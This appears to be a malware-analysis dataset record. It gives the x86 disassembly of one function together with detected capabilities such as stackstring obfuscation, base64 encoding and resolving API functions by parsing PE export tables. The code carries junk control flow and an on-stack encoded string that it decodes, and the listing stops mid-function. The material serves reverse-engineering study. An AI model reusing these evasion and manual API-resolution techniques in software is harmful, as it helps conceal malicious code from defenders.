Function at 0x100452ce
Capabilities:
Contain obfuscated stackstrings
Encode data using base64
Enumerate pe sections
Get disk information
Parse pe header
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10080af1
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0xb1c
push esi
and dword [ebp - 0x18], 0
movzx eax, byte [ebp + 8]
test eax, eax
je 0x1004a096
mov eax, dword [ebp + 0x14]
mov dword [ebp - 0x30], eax
mov eax, dword [ebp - 0x30]
mov dword [ebp - 0x384], eax
mov eax, dword [ebp - 0x384]
movzx eax, word [eax]
cmp eax, 0x5a4d
je 0x10045321
jmp 0x1004a105
mov dword [ebp - 0x940], 0x3185
mov dword [ebp - 0x8dc], 0x9beb0647
mov dword [ebp - 0x934], 0xfffffff8
mov dword [ebp - 0x8ec], 0
mov dword [ebp - 0x93c], 0xfaaaeb9a
mov dword [ebp - 0x8fc], 0xed680444
mov dword [ebp - 0x6ec], 0x7dfe4d9e
mov byte [ebp - 0xa3], 0
movzx eax, byte [ebp - 0xa3]
test eax, eax
je 0x10045385
push 0
push 0
push 0
call dword [sym.imp.OLEAUT32.dll_SysStringByteLen]
push 0x5584
lea eax, [ebp - 0x6ec]
push eax
push 0x256f
push 0
call fcn.10043f51
add esp, 0x10
mov eax, dword [ebp - 0x384]
mov ecx, dword [ebp - 0x30]
add ecx, dword [eax + 0x3c]
mov dword [ebp - 0x98], ecx
mov dword [ebp - 0xb4], 7
push 3
lea ecx, [ebp - 0x6d4]
call fcn.10017e9c
and dword [ebp - 4], 0
mov dword [ebp - 0x2a4], 1
mov dword [ebp - 0x944], 0xca9f8d1
push 1
lea ecx, [ebp - 0x8a8]
call fcn.10017e9c
mov byte [ebp - 4], 1
mov dword [ebp - 0x80], 0xffff
mov dword [ebp - 0x634], 0xe128
mov dword [ebp - 0x70], 0
jmp 0x10045413
mov eax, dword [ebp - 0x70]
inc eax
mov dword [ebp - 0x70], eax
cmp dword [ebp - 0x70], 3
jge 0x1004542f
push dword [ebp - 0x70]
lea ecx, [ebp - 0x6d4]
call fcn.10017f3a
mov dword [eax], 0x89b5
jmp 0x1004540c
mov dword [ebp - 0x70], 0
jmp 0x1004543f
mov eax, dword [ebp - 0x70]
inc eax
mov dword [ebp - 0x70], eax
cmp dword [ebp - 0x70], 1
jge 0x1004545b
push dword [ebp - 0x70]
lea ecx, [ebp - 0x8a8]
call fcn.10017f3a
mov dword [eax], 0xfffffffe
jmp 0x10045438
mov dword [ebp - 0xb4], 0x1a
jmp 0x10045474
mov eax, dword [ebp - 0xb4]
dec eax
mov dword [ebp - 0xb4], eax
cmp dword [ebp - 0xb4], 0xfffffffe
jl 0x10045707
mov dword [ebp - 0x100], 0xffab8c3a
mov dword [ebp - 0x544], 0xfffffff8
mov dword [ebp - 0x63c], 0x62ee6d05
mov dword [ebp - 0x54c], 0xa9bacde9
mov dword [ebp - 0x100], 0
jmp 0x100454c2
mov eax, dword [ebp - 0x100]
inc eax
mov dword [ebp - 0x100], eax
cmp dword [ebp - 0x100], 2
jg 0x10045548
mov dword [ebp - 0x928], 0x6eff
mov dword [ebp - 0x800], 1
push 1
lea ecx, [ebp - 0x898]
call fcn.10017e9c
mov byte [ebp - 4], 2
push 0x53d2
lea eax, [ebp - 0x808]
push eax
lea eax, [ebp - 0x898]
push eax
push 0
call fcn.100452ce
add esp, 0x10
mov eax, dword [ebp - 0x80]
dec eax
mov dword [ebp - 0x80], eax
mov byte [ebp - 0xa7], 0
movzx eax, byte [ebp - 0xa7]
test eax, eax
je 0x10045534
push 1
push 0x40c1
call fcn.10042e83
pop ecx
pop ecx
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x898]
call fcn.10017f1e
jmp 0x100454b5
mov dword [ebp - 0x80], 0
jmp 0x10045558
mov eax, dword [ebp - 0x80]
inc eax
mov dword [ebp - 0x80], eax
cmp dword [ebp - 0x80], 2
jg 0x10045702
mov dword [ebp - 0x64c], 0xffffffff
push dword [ebp - 0x80]
lea ecx, [ebp - 0x6d4]
call fcn.10017f3a
cmp dword [eax], 0
je 0x1004568a
mov dword [ebp - 0x644], 0x6de21e5
push 3
lea ecx, [ebp - 0x7d0]
call fcn.10017e9c
mov byte [ebp - 4], 3
mov dword [ebp - 0x25c], 0
jmp 0x100455b7
mov eax, dword [ebp - 0x25c]
inc eax
mov dword [ebp - 0x25c], eax
cmp dword [ebp - 0x25c], 3
jge 0x100455d9
push dword [ebp - 0x25c]
lea ecx, [ebp - 0x7d0]
call fcn.10017f3a
mov dword [eax], 1
jmp 0x100455aa
mov byte [ebp - 0xaf], 0
movzx eax, byte [ebp - 0xaf]
test eax, eax
je 0x10045622
push 0x726e
push 0x9c2
push 0x25e7
push 0x369c
push 0x49ce
push 0x877
push 0x1b55
push 0xc24
push 0x615e
push 1
call fcn.10042ebe
add esp, 0x28
lea eax, [ebp - 0x634]
push eax
push 0
push 0x53cf
lea eax, [ebp - 0x6d4]
push eax
lea eax, [ebp - 0x544]
push eax
lea eax, [ebp - 0x63c]
push eax
lea eax, [ebp - 0x7d0]
push eax
lea eax, [ebp - 0xb4]
push eax
lea eax, [ebp - 0x80]
push eax
lea eax, [ebp - 0x54c]
push eax
lea eax, [ebp - 0x2a4]
push eax
lea eax, [ebp - 0x644]
push eax
push 0x261
call fcn.100441eb
add esp, 0x34
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x7d0]
call fcn.10017f1e
jmp 0x100456d3
push 0
lea eax, [ebp - 0x2a4]
push eax
lea eax, [ebp - 0x6d4]
push eax
lea eax, [ebp - 0x544]
push eax
push 0x7b3e
lea eax, [ebp - 0x100]
push eax
lea eax, [ebp - 0xb4]
push eax
push 0x98d
lea eax, [ebp - 0x54c]
push eax
lea eax, [ebp - 0x64c]
push eax
lea eax, [ebp - 0x80]
push eax
call fcn.10043137
add esp, 0x2c
push 0x2cf7
push 0x1ac5
push 0
push 0x39ef
lea eax, [ebp - 0x2a4]
push eax
push 0x4cb1
push 0x2cf1
call fcn.100451da
add esp, 0x1c
jmp 0x10045551
jmp 0x10045467
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x8a8]
call fcn.10017f1e
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x6d4]
call fcn.10017f1e
mov eax, dword [ebp - 0x98]
cmp dword [eax], 0x4550
je 0x10045738
jmp 0x1004a105
push 8
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x98]
lea eax, [ecx + eax + 0x78]
mov dword [ebp - 0x58], eax
mov dword [ebp - 0x570], 0xffffffff
mov dword [ebp - 0x558], 0xfffffff8
push 2
lea ecx, [ebp - 0x794]
call fcn.10017e9c
mov dword [ebp - 4], 4
mov dword [ebp - 0x78], 0
jmp 0x10045783
mov eax, dword [ebp - 0x78]
inc eax
mov dword [ebp - 0x78], eax
cmp dword [ebp - 0x78], 4
jge 0x10045799
mov eax, dword [ebp - 0x78]
mov dword [ebp + eax*4 - 0x70c], 1
jmp 0x1004577c
mov dword [ebp - 0x78], 0
jmp 0x100457a9
mov eax, dword [ebp - 0x78]
inc eax
mov dword [ebp - 0x78], eax
cmp dword [ebp - 0x78], 2
jge 0x100457c5
push dword [ebp - 0x78]
lea ecx, [ebp - 0x794]
call fcn.10017f3a
mov dword [eax], 8
jmp 0x100457a2
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x70c]
mov dword [ebp - 0x570], eax
mov eax, dword [ebp - 0x570]
mov dword [ebp - 0x558], eax
cmp dword [ebp - 0x558], 0xf7fb
jge 0x100457fc
mov dword [ebp - 0x2e8], 1
jmp 0x10045803
and dword [ebp - 0x2e8], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x70c]
mov dword [ebp - 0x810], eax
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x70c]
mov dword [ebp - 0x818], eax
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x70c]
mov dword [ebp - 0x820], eax
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x70c]
mov dword [ebp - 0x828], eax
push 4
pop eax
imul eax, eax, 3
mov eax, dword [ebp + eax - 0x70c]
add eax, dword [ebp - 0x2e8]
push 4
pop ecx
shl ecx, 0
add eax, dword [ebp + ecx - 0x70c]
cmp eax, 0x5bef
jge 0x10045882
mov dword [ebp - 0x53c], 1
jmp 0x10045889
and dword [ebp - 0x53c], 0
push 1
lea ecx, [ebp - 0x794]
call fcn.10017f3a
mov ecx, dword [ebp - 0x53c]
mov dword [eax], ecx
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x794]
call fcn.10017f1e
mov eax, dword [ebp - 0x58]
cmp dword [eax + 4], 0
jne 0x100458bb
jmp 0x1004a105
mov dword [ebp - 0x830], 0xffffffff
mov byte [ebp - 0xa9], 0
movzx eax, byte [ebp - 0xa9]
test eax, eax
je 0x100458eb
push 0x7808
push 1
push 0x7021
call fcn.1004307d
add esp, 0xc
mov byte [ebp - 0xa2], 0
lea eax, [ebp - 0xa2]
push eax
push 0
call fcn.10043f16
pop ecx
pop ecx
and dword [ebp - 0x34], 0
mov dword [ebp - 0x104], 0xffffffff
mov dword [ebp - 0x2d4], 0
mov dword [ebp - 0x4f0], 0xfffffff8
mov dword [ebp - 0x6a4], 0xffffffff
mov dword [ebp - 0x6ac], 0x4225189d
mov dword [ebp - 0x1bc], 0
jmp 0x10045951
mov eax, dword [ebp - 0x1bc]
inc eax
mov dword [ebp - 0x1bc], eax
cmp dword [ebp - 0x1bc], 1
jge 0x1004596d
mov eax, dword [ebp - 0x1bc]
mov dword [ebp + eax*4 - 0xbc], 4
jmp 0x10045944
cmp dword [ebp - 0x104], 0
je 0x10045a08
mov eax, dword [ebp - 0x104]
mov dword [ebp - 0x838], eax
push 4
pop eax
imul eax, eax, 0
mov ecx, 0x13a6
sub ecx, dword [ebp + eax - 0xbc]
cmp ecx, 0xffffffff
jne 0x100459a9
mov dword [ebp - 0x69c], 1
jmp 0x100459b0
and dword [ebp - 0x69c], 0
mov eax, dword [ebp - 0x104]
mov dword [ebp - 0x840], eax
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xbc]
mov dword [ebp - 0x2d4], eax
imul eax, dword [ebp - 0x2d4], 0xffff
mov eax, dword [ebp - 0x2d4]
push 4
pop ecx
imul ecx, ecx, 0
imul eax, dword [ebp + ecx - 0xbc]
mov dword [ebp - 0x4f0], eax
mov eax, dword [ebp - 0x4f0]
mov dword [ebp - 0x848], eax
cmp dword [ebp - 0x104], 0
jne 0x10045a0f
cmp dword [ebp - 0x6a4], 0
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0xbc], 0
je 0x10045a30
xor eax, eax
inc eax
je 0x10045a30
mov dword [ebp - 0x2f0], 1
jmp 0x10045a37
and dword [ebp - 0x2f0], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xbc]
cmp dword [ebp - 0x2f0], eax
jne 0x10045a58
mov dword [ebp - 0x448], 1
jmp 0x10045a5f
and dword [ebp - 0x448], 0
mov eax, dword [ebp - 0x104]
cmp eax, dword [ebp - 0x448]
jl 0x10045a79
mov dword [ebp - 0x2f8], 1
jmp 0x10045a80
and dword [ebp - 0x2f8], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xbc]
imul eax, dword [ebp - 0x2f8]
mov dword [ebp - 0x6ac], eax
mov eax, dword [ebp - 0x98]
movzx eax, word [eax + 0x14]
mov ecx, dword [ebp - 0x98]
lea eax, [ecx + eax + 0x18]
mov dword [ebp - 0x8c], eax
mov dword [ebp - 0x850], 0xec0a
mov byte [ebp - 0xa4], 0
movzx eax, byte [ebp - 0xa4]
test eax, eax
je 0x10045ae4
push 0x249b
push 0
push 0x1414
call fcn.10044176
add esp, 0xc
mov byte [ebp - 0xa6], 0
push 1
lea eax, [ebp - 0xa6]
push eax
call fcn.100430e6
pop ecx
pop ecx
and dword [ebp - 0x2dc], 0
jmp 0x10045b20
mov eax, dword [ebp - 0x2dc]
inc eax
mov dword [ebp - 0x2dc], eax
mov eax, dword [ebp - 0x8c]
add eax, 0x28
mov dword [ebp - 0x8c], eax
mov eax, dword [ebp - 0x98]
movzx eax, word [eax + 6]
cmp dword [ebp - 0x2dc], eax
jge 0x10045ba1
mov eax, dword [ebp - 0x8c]
mov eax, dword [eax + 0xc]
mov dword [ebp - 0x548], eax
mov eax, dword [ebp - 0x58]
mov eax, dword [eax]
cmp eax, dword [ebp - 0x548]
jb 0x10045b9c
mov eax, dword [ebp - 0x98]
push dword [eax + 0x38]
mov eax, dword [ebp - 0x8c]
push dword [eax + 8]
call fcn.10042da8
pop ecx
pop ecx
add eax, dword [ebp - 0x548]
mov dword [ebp - 0x6b4], eax
mov eax, dword [ebp - 0x58]
mov eax, dword [eax]
cmp eax, dword [ebp - 0x6b4]
jae 0x10045b9c
push 0x11ca
lea eax, [ebp - 0x8c]
push eax
lea eax, [ebp - 0x34]
push eax
push 0
call fcn.10044712
add esp, 0x10
jmp 0x10045ba1
jmp 0x10045b04
mov dword [ebp - 0xf8], 0x2c03342e
mov dword [ebp - 0x450], 5
mov dword [ebp - 0xe4], 0xb6182eac
mov dword [ebp - 0xf8], 0
jmp 0x10045bd8
mov eax, dword [ebp - 0xf8]
dec eax
mov dword [ebp - 0xf8], eax
cmp dword [ebp - 0xf8], 0xffffffe3
jge 0x10045bfa
mov dword [ebp - 0x300], 0x63126ff2
mov eax, dword [ebp - 0x300]
dec eax
mov dword [ebp - 0x300], eax
jmp 0x10045bcb
cmp dword [ebp - 0x450], 0
je 0x10045c18
cmp dword [ebp - 0xe4], 0
je 0x10045c18
mov dword [ebp - 0x308], 1
jmp 0x10045c1f
and dword [ebp - 0x308], 0
mov eax, dword [ebp - 0x450]
sub eax, dword [ebp - 0x308]
je 0x10045c5e
mov dword [ebp - 0x6bc], 0xbbd0a708
lea eax, [ebp - 0x6bc]
push eax
lea eax, [ebp - 0xf8]
push eax
push 0x5d6e
push 0
push 0x1994
call fcn.10044d98
add esp, 0x14
jmp 0x10045d20
push 2
lea ecx, [ebp - 0x7dc]
call fcn.10017e9c
mov dword [ebp - 4], 5
mov dword [ebp - 0x250], 0
jmp 0x10045c8b
mov eax, dword [ebp - 0x250]
inc eax
mov dword [ebp - 0x250], eax
cmp dword [ebp - 0x250], 2
jge 0x10045cad
push dword [ebp - 0x250]
lea ecx, [ebp - 0x7dc]
call fcn.10017f3a
mov dword [eax], 0xfffffffa
jmp 0x10045c7e
mov dword [ebp - 0xe4], 0
jmp 0x10045cc6
mov eax, dword [ebp - 0xe4]
inc eax
mov dword [ebp - 0xe4], eax
cmp dword [ebp - 0xe4], 2
jge 0x10045d11
push 1
push 0x1338
push 0x3514
push 0x5f73
lea eax, [ebp - 0xe4]
push eax
push 0x445e
push 0x324e
lea eax, [ebp - 0x7dc]
push eax
push 0x2860
push 0x3f6b
push 0x3eb8
call fcn.10043137
add esp, 0x2c
jmp 0x10045cb9
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x7dc]
call fcn.10017f1e
cmp dword [ebp - 0x34], 0
jne 0x10045d2b
jmp 0x1004a105
mov dword [ebp - 0x2d0], 0xffff
mov dword [ebp - 0x230], 0x5d16df25
mov dword [ebp - 0x310], 0
mov dword [ebp - 0x4f8], 8
mov dword [ebp - 0x320], 0xf8b4
mov dword [ebp - 0x554], 0
mov dword [ebp - 0x6c4], 1
mov dword [ebp - 0x1c4], 0
jmp 0x10045d8a
mov eax, dword [ebp - 0x1c4]
inc eax
mov dword [ebp - 0x1c4], eax
cmp dword [ebp - 0x1c4], 3
jge 0x10045da6
mov eax, dword [ebp - 0x1c4]
mov dword [ebp + eax*4 - 0x8b8], 0x789328a
jmp 0x10045d7d
mov eax, dword [ebp - 0x2d0]
mov dword [ebp - 0x230], eax
mov eax, 0x5732
test eax, eax
je 0x10045e1e
mov dword [ebp - 0x310], 0
mov eax, dword [ebp - 0x230]
mov dword [ebp - 0x230], eax
mov eax, dword [ebp - 0x230]
mov dword [ebp - 0x4f8], eax
mov eax, dword [ebp - 0x4f8]
cmp dword [ebp - 0x310], eax
jne 0x10045df7
mov dword [ebp - 0x458], 1
jmp 0x10045dfe
and dword [ebp - 0x458], 0
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0x8b8]
cmp dword [ebp - 0x458], eax
jge 0x10045e1e
mov dword [ebp - 0x318], 1
jmp 0x10045e25
and dword [ebp - 0x318], 0
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0x8b8]
sub eax, dword [ebp - 0x318]
add eax, dword [ebp - 0x2d0]
imul eax, eax, 0xfffffff7
add eax, dword [ebp - 0x320]
mov dword [ebp - 0x554], eax
mov eax, dword [ebp - 0x554]
mov dword [ebp - 0x858], eax
imul eax, dword [ebp - 0x2d0], 0x2e58
sub eax, 0xc6c7bdb
jne 0x10045e79
push 4
pop eax
test eax, eax
jne 0x10045e79
and dword [ebp - 0x460], 0
jmp 0x10045e83
mov dword [ebp - 0x460], 1
mov eax, dword [ebp - 0x320]
cmp dword [ebp - 0x460], eax
je 0x10045e9d
mov dword [ebp - 0x328], 1
jmp 0x10045ea4
and dword [ebp - 0x328], 0
mov eax, dword [ebp - 0x328]
mov dword [ebp - 0x6c4], eax
mov eax, dword [ebp - 0x58]
mov ecx, dword [ebp - 0x34]
add ecx, dword [eax]
add ecx, dword [ebp - 0x30]
mov dword [ebp - 0x10], ecx
mov dword [ebp - 0x130], 1
mov dword [ebp - 0x110], 0x807c
mov dword [ebp - 0x330], 0x7911b9c6
mov dword [ebp - 0x470], 0x214c259d
mov dword [ebp - 0x130], 0
jmp 0x10045eff
mov eax, dword [ebp - 0x130]
inc eax
mov dword [ebp - 0x130], eax
cmp dword [ebp - 0x130], 0x13
jl 0x10046256
mov dword [ebp - 0x348], 0x3817d1dc
push 1
lea ecx, [ebp - 0x72c]
call fcn.10017e9c
mov dword [ebp - 4], 6
mov dword [ebp - 0xc4], 0x86c8a81d
mov dword [ebp - 0x5e0], 0
push 1
lea eax, [ebp - 0x72c]
push eax
lea eax, [ebp - 0x860]
push eax
call fcn.1004327a
add esp, 0xc
cmp dword [ebp - 0x130], 0
je 0x10046202
mov dword [ebp - 0x6fc], 6
mov dword [ebp - 0x150], 0xbc41bbbb
mov dword [ebp - 0x1cc], 0
jmp 0x10045f90
mov eax, dword [ebp - 0x1cc]
inc eax
mov dword [ebp - 0x1cc], eax
cmp dword [ebp - 0x1cc], 1
jge 0x10045fac
mov eax, dword [ebp - 0x1cc]
mov dword [ebp + eax*4 - 0x62c], 0xfffffffa
jmp 0x10045f83
cmp dword [ebp - 0x348], 0
jne 0x1004602a
xor eax, eax
inc eax
sub eax, dword [ebp - 0x6fc]
cmp eax, dword [ebp - 0x110]
jle 0x10045fd2
mov dword [ebp - 0x500], 1
jmp 0x10045fd9
and dword [ebp - 0x500], 0
mov eax, dword [ebp - 0x500]
mov dword [ebp - 0x330], eax
mov eax, dword [ebp - 0x110]
cmp dword [ebp - 0x330], eax
jge 0x10045fff
mov dword [ebp - 0x468], 1
jmp 0x10046006
and dword [ebp - 0x468], 0
cmp dword [ebp - 0x468], 0xfffffffd
jne 0x10046021
cmp dword [ebp - 0x110], 0
je 0x10046021
mov eax, 0x6d54
test eax, eax
jne 0x1004602a
and dword [ebp - 0x2b0], 0
jmp 0x10046034
mov dword [ebp - 0x2b0], 1
push 0
lea ecx, [ebp - 0x72c]
call fcn.10017f3a
mov ecx, dword [ebp - 0x2b0]
mov dword [eax], ecx
mov eax, dword [ebp - 0x2b0]
sub eax, 0x5822651a
cmp eax, dword [ebp - 0xc4]
jge 0x10046068
mov dword [ebp - 0x338], 1
jmp 0x1004606f
and dword [ebp - 0x338], 0
cmp dword [ebp - 0x338], 0
jb 0x10046084
mov dword [ebp - 0x550], 1
jmp 0x1004608b
and dword [ebp - 0x550], 0
cmp dword [ebp - 0x550], 0xfff6
jbe 0x100460a3
mov dword [ebp - 0x6f0], 1
jmp 0x100460aa
and dword [ebp - 0x6f0], 0
mov esi, dword [ebp - 0x110]
push 0
lea ecx, [ebp - 0x72c]
call fcn.10017f3a
cmp esi, dword [eax]
je 0x100460cd
mov dword [ebp - 0x340], 1
jmp 0x100460d4
and dword [ebp - 0x340], 0
mov eax, dword [ebp - 0x110]
add eax, dword [ebp - 0x340]
mov dword [ebp - 0x470], eax
mov eax, dword [ebp - 0x470]
imul eax, dword [ebp - 0x5e0]
test eax, eax
jne 0x10046109
mov eax, 0xac92d14b
test eax, eax
jne 0x10046109
and dword [ebp - 0x508], 0
jmp 0x10046113
mov dword [ebp - 0x508], 1
mov eax, dword [ebp - 0x348]
cmp dword [ebp - 0x508], eax
jl 0x1004612d
mov dword [ebp - 0x2c8], 1
jmp 0x10046134
and dword [ebp - 0x2c8], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x2c8]
mov dword [ebp + eax - 0x62c], ecx
cmp dword [ebp - 0x2c8], 0xffffffff
jl 0x1004615c
mov dword [ebp - 0x350], 1
jmp 0x10046163
and dword [ebp - 0x350], 0
cmp dword [ebp - 0x350], 0xffffffff
je 0x10046178
mov dword [ebp - 0x478], 1
jmp 0x1004617f
and dword [ebp - 0x478], 0
mov eax, dword [ebp - 0xc4]
imul eax, dword [ebp - 0x478]
mov dword [ebp - 0x150], eax
mov dword [ebp - 0x150], 0
jmp 0x100461ab
mov eax, dword [ebp - 0x150]
inc eax
mov dword [ebp - 0x150], eax
cmp dword [ebp - 0x150], 0
jg 0x10046200
mov dword [ebp - 0xc4], 0
jmp 0x100461cd
mov eax, dword [ebp - 0xc4]
inc eax
mov dword [ebp - 0xc4], eax
cmp dword [ebp - 0xc4], 0
jg 0x100461fe
mov byte [ebp - 0x8e], 0
movzx eax, byte [ebp - 0x8e]
test eax, eax
je 0x100461fc
push 0x755b
push 1
push 0x4af8
call fcn.100432e8
add esp, 0xc
jmp 0x100461c0
jmp 0x1004619e
jmp 0x10046242
mov byte [ebp - 0x90], 0
push 0x453a
push 0x65c
push 0x2f52
push 1
push 0x5cdf
push 0x6e2c
push 0x1e58
lea eax, [ebp - 0x90]
push eax
push 0x3c05
push 0x61f6
call fcn.10043369
add esp, 0x28
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x72c]
call fcn.10017f1e
jmp 0x10045ef2
xor ecx, ecx
call fcn.1002fe67
push eax
call fcn.10066348
pop ecx
push 0x74ab
push 1
call fcn.100434d8
pop ecx
pop ecx
mov dword [ebp - 0x118], 0x9dada439
mov dword [ebp - 0x868], 0
mov dword [ebp - 0x870], 0xffffffff
mov dword [ebp - 0x878], 0xffffffff
mov dword [ebp - 0x358], 0x8100c430
mov dword [ebp - 0x880], 0x611bc38
mov dword [ebp - 0x760], 1
mov dword [ebp - 0x75c], 1
mov dword [ebp - 0x758], 1
mov dword [ebp - 0x754], 1
lea ecx, [ebp - 0x2c9]
call fcn.1000a553
push eax
lea eax, [ebp - 0x750]
push eax
lea eax, [ebp - 0x760]
push eax
lea ecx, [ebp - 0xa80]
call fcn.10017f49
push dword [eax + 4]
push dword [eax]
lea ecx, [ebp - 0x8c8]
call fcn.10017ef8
mov dword [ebp - 4], 7
mov dword [ebp - 0x248], 0
jmp 0x1004632b
mov eax, dword [ebp - 0x248]
inc eax
mov dword [ebp - 0x248], eax
cmp dword [ebp - 0x248], 3
jge 0x10046347
mov eax, dword [ebp - 0x248]
mov dword [ebp + eax*4 - 0x9e4], 0xfffffff9
jmp 0x1004631e
mov byte [ebp - 0x92], 0
movzx eax, byte [ebp - 0x92]
test eax, eax
je 0x10046367
push 1
push 0x555b
call fcn.1004357d
pop ecx
pop ecx
mov dword [ebp - 0x118], 2
jmp 0x10046380
mov eax, dword [ebp - 0x118]
dec eax
mov dword [ebp - 0x118], eax
cmp dword [ebp - 0x118], 0
jl 0x100463fb
mov dword [ebp - 0x888], 1
mov dword [ebp - 0x96c], 0x52733582
mov dword [ebp - 0x974], 0xfffffff9
mov dword [ebp - 0x97c], 1
mov dword [ebp - 0x9c0], 0xd0f4f230
mov dword [ebp - 0x9c8], 0xfffffffa
mov eax, dword [ebp - 0x118]
cmp dword [ebp + eax*4 - 0x9e4], 0
je 0x100463d7
jmp 0x100463fb
mov dword [ebp - 0x358], 1
mov esi, dword [ebp - 0x358]
push 0
lea ecx, [ebp - 0x8c8]
call fcn.10017f3a
mov dword [eax], esi
jmp 0x10046373
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x8c8]
call fcn.10017f1e
mov byte [ebp - 0x2a0], 8
mov byte [ebp - 0x29f], 0x88
mov byte [ebp - 0x29e], 4
mov byte [ebp - 0x29d], 8
mov byte [ebp - 0x29c], 6
mov byte [ebp - 0x29b], 9
mov byte [ebp - 0x29a], 5
mov byte [ebp - 0x299], 0
mov byte [ebp - 0x298], 2
mov byte [ebp - 0x297], 6
mov byte [ebp - 0x296], 9
mov byte [ebp - 0x295], 7
mov byte [ebp - 0x294], 7
mov byte [ebp - 0x293], 6
mov byte [ebp - 0x292], 0
mov byte [ebp - 0x291], 7
mov byte [ebp - 0x290], 1
mov byte [ebp - 0x28f], 4
mov byte [ebp - 0x28e], 0x2e
mov byte [ebp - 0x28d], 0xfd
mov byte [ebp - 0x28c], 0x63
mov byte [ebp - 0x28b], 0xc1
mov byte [ebp - 0x28a], 0x2c
mov byte [ebp - 0x289], 0x13
mov byte [ebp - 0x288], 0x20
mov byte [ebp - 0x287], 0x5d
mov byte [ebp - 0x286], 0x35
mov byte [ebp - 0x285], 1
mov byte [ebp - 0x284], 0x5b
mov byte [ebp - 0x283], 0x24
mov byte [ebp - 0x282], 0x3d
mov byte [ebp - 0x281], 0x5c
mov byte [ebp - 0x280], 0x31
mov byte [ebp - 0x27f], 0xd
mov byte [ebp - 0x27e], 0x55
mov byte [ebp - 0x27d], 0x67
mov byte [ebp - 0x27c], 0x4c
mov byte [ebp - 0x27b], 7
mov byte [ebp - 0x27a], 0xa0
mov byte [ebp - 0x279], 0x11
mov byte [ebp - 0x278], 0xf7
mov byte [ebp - 0x277], 0x14
mov byte [ebp - 0x276], 0xa7
mov byte [ebp - 0x275], 0xe7
mov byte [ebp - 0x274], 0x63
mov byte [ebp - 0x273], 0x57
mov byte [ebp - 0x272], 0x28
mov byte [ebp - 0x271], 0x61
mov byte [ebp - 0x270], 0xde
mov byte [ebp - 0x26f], 0xad
mov byte [ebp - 0x26e], 0x79
mov byte [ebp - 0x26d], 0x10
mov byte [ebp - 0x26c], 0x2c
mov byte [ebp - 0x26b], 0x79
mov byte [ebp - 0x26a], 0x14
mov byte [ebp - 0x269], 0x49
mov byte [ebp - 0x268], 0xc3
mov byte [ebp - 0x267], 0xc6
mov byte [ebp - 0x266], 0x56
mov byte [ebp - 0x265], 0xbb
mov byte [ebp - 0x264], 0x83
mov byte [ebp - 0x263], 0x6f
mov byte [ebp - 0x262], 0x97
mov byte [ebp - 0x261], 0xf7
mov byte [ebp - 0x260], 0x3a
mov byte [ebp - 0x25f], 3
mov byte [ebp - 0x25e], 2
xor eax, eax
inc eax
shl eax, 0
movzx eax, byte [ebp + eax - 0x2a0]
or eax, 0xb8
xor ecx, ecx
inc ecx
shl ecx, 0
movzx ecx, byte [ebp + ecx - 0x2a0]
and ecx, 0xb8
sub eax, ecx
xor ecx, ecx
inc ecx
imul ecx, ecx, 0
movzx ecx, byte [ebp + ecx - 0x2a0]
mov byte [ebp + ecx - 0x5ac], al
mov dword [ebp - 0x38], 2
and dword [ebp - 0x1d4], 0
jmp 0x10046635
mov eax, dword [ebp - 0x38]
inc eax
inc eax
mov dword [ebp - 0x38], eax
cmp dword [ebp - 0x38], 0x43
jae 0x100466eb
xor eax, eax
inc eax
imul eax, eax, 0
movzx eax, byte [ebp + eax - 0x2a0]
lea eax, [eax + eax + 2]
cmp dword [ebp - 0x38], eax
jne 0x1004667f
mov eax, dword [ebp - 0x38]
movzx eax, byte [ebp + eax - 0x2a0]
inc eax
mov dword [ebp - 0x1d4], eax
mov eax, dword [ebp - 0x38]
movzx eax, byte [ebp + eax - 0x2a0]
mov ecx, dword [ebp - 0x38]
lea eax, [ecx + eax - 1]
mov dword [ebp - 0x38], eax
jmp 0x1004662d
mov eax, dword [ebp - 0x38]
movzx eax, byte [ebp + eax - 0x29f]
mov ecx, dword [ebp - 0x38]
sub ecx, dword [ebp - 0x1d4]
movzx ecx, byte [ebp + ecx - 0x2a2]
movsx ecx, byte [ebp + ecx - 0x5ac]
or eax, ecx
mov ecx, dword [ebp - 0x38]
movzx ecx, byte [ebp + ecx - 0x29f]
mov edx, dword [ebp - 0x38]
sub edx, dword [ebp - 0x1d4]
movzx edx, byte [ebp + edx - 0x2a2]
movsx edx, byte [ebp + edx - 0x5ac]
and ecx, edx
sub eax, ecx
mov ecx, dword [ebp - 0x38]
movzx ecx, byte [ebp + ecx - 0x2a0]
mov byte [ebp + ecx - 0x5ac], al
and dword [ebp - 0x1d4], 0
jmp 0x1004662d
xor eax, eax
inc eax
imul eax, eax, 0xa
mov byte [ebp + eax - 0x5ac], 0
lea eax, [ebp - 0x5ac]
push eax
lea ecx, [ebp - 0xac8]
call fcn.10025d19
mov dword [ebp - 0x690], eax
mov eax, dword [ebp - 0x690]
mov dword [ebp - 0x5e8], eax
mov dword [ebp - 4], 8
push 0xa
xor edx, edx
mov ecx, dword [ebp - 0x5e8]
call fcn.1002fe27
pop ecx
mov dword [ebp - 0x6a0], eax
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xac8]
call fcn.10017dfe
mov dword [ebp - 0x1c], 0xb457102d
